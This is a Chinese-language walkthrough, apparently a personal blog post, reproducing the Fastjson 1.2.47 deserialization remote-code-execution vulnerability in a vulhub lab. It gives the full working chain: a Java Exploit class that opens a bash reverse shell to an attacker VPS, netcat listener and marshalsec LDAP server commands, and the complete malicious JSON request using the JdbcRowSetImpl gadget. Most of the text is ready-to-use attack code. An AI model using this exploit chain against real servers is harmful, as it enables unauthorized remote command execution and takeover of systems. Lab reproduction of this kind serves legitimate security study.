Fastjson-1.2.47反序列化漏洞复现

提前准备:

1、使用vulhub来启动环境

2、VPS1:查看Java版本

[root@clean-post-1 ~]# java -version openjdk version "1.8.0_262" OpenJDK Runtime Environment (build 1.8.0_262-b10)

3、VPS2:nc -lvvp 1111 进行监听

进一步设置:

Exploit.java文件,Exploit.class文件,marshalsec-0.0.3-SNAPSHOT-all.jar 这三个文件必须在一个文件夹里

fastjson2

构造恶意的CLASS文件从而REC

  • 创建Exploit.java文件

    public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS2的IP/1111 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }

  • 编译成class文件,生成Exploit.class

    javac Exploit.java

启动LDAP服务和WEB服务(这里我的LDAP和WEB服务都是在VPS1上启动的)

  • 在启动LDAP服务前需要使用marshalsec来启动

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS1的IP/#Exploit 7777

  • 启动WEB服务

    python2 -m http.server 80

到目前为止所有配置已经完成

最后干就完了!

  • 浏览器访问docker启动的jastjson环境http://docker环境IP:8090/

  • burp抓包修改包

    `POST / HTTP/1.1
    Host: docker环境IP:8090
    Content-Type: application/json
    Content-Length: 271

    {
    "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://VPS1的IP:7777/Exploit",
    "autoCommit":true
    }
    }`

最后结果图

fastjson

Q.E.D.